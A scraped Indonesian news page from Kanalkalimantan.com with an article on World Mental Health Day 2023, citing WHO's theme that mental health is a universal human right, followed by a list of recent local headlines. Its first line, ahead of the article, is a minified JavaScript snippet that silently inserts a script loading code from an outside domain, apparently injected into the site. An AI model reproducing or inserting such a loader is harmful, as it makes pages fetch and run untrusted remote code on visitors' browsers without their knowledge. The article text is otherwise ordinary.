(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

10 Oktober Hari Kesehatan Mental Sedunia “Pikiran Kami, Hak Kami”


KANALKALIMANTAN.COM – Hari Kesehatan Mental Sedunia 2023 merupakan kesempatan bagi masyarakat untuk bersatu dalam tema ‘Kesehatan mental adalah hak asasi manusia universal’ untuk meningkatkan pengetahuan, meningkatkan kesadaran, dan mendorong tindakan yang mendorong dan melindungi kesehatan mental setiap orang sebagai hak asasi manusia universal.

Dikutip dari laman www.who.int, kesehatan mental adalah hak asasi manusia yang mendasar bagi semua orang. Setiap orang, siapapun dan dimanapun berada, berhak atas standar kesehatan jiwa tertinggi yang dapat dicapai. Hal ini mencakup hak untuk dilindungi dari risiko kesehatan mental, hak atas layanan yang tersedia, dapat diakses, dapat diterima, dan berkualitas baik, serta hak atas kebebasan, kemandirian dan inklusi dalam masyarakat.

Baca juga: APILL Baru di Jalan Utama Ibu Kota Kalsel, Ini Rencana Titik Lampu Lalin

Kesehatan mental yang baik sangat penting untuk kesehatan dan kesejahteraan kita secara keseluruhan. Namun, satu dari delapan orang di seluruh dunia hidup dengan kondisi kesehatan mental, yang dapat berdampak pada kesehatan fisik, kesejahteraan, cara mereka berhubungan dengan orang lain, dan penghidupan mereka. Kondisi kesehatan mental juga mempengaruhi semakin banyak remaja dan generasi muda.

Memiliki kondisi kesehatan mental tidak boleh menjadi alasan untuk menghilangkan hak asasi seseorang atau mengecualikan mereka dari pengambilan keputusan mengenai kesehatan mereka sendiri. Namun di seluruh dunia, orang-orang dengan kondisi kesehatan mental terus mengalami berbagai pelanggaran hak asasi manusia. Banyak dari mereka yang dikucilkan dari kehidupan bermasyarakat dan mengalami diskriminasi, sementara masih banyak lagi yang tidak dapat mengakses layanan kesehatan mental yang mereka perlukan atau hanya dapat mengakses layanan yang melanggar hak asasi mereka.

Baca juga: Gudang Kerupuk dan Tiga Rumah Tinggal Arang di Jafri Zamzam

WHO terus bekerja sama dengan mitranya untuk memastikan kesehatan mental dihargai, dipromosikan, dan dilindungi, dan tindakan segera diambil agar setiap orang dapat menggunakan hak asasi mereka dan mengakses layanan kesehatan mental berkualitas yang mereka butuhkan. Bergabunglah dengan kampanye Hari Kesehatan Mental Sedunia 2023 untuk mempelajari lebih lanjut tentang hak dasar Anda atas kesehatan mental serta cara melindungi hak orang lain. (Kanalkalimantan.com/kk)

Editor: kk


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

3 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

3 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

4 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

8 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

10 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

10 jam ago

This website uses cookies.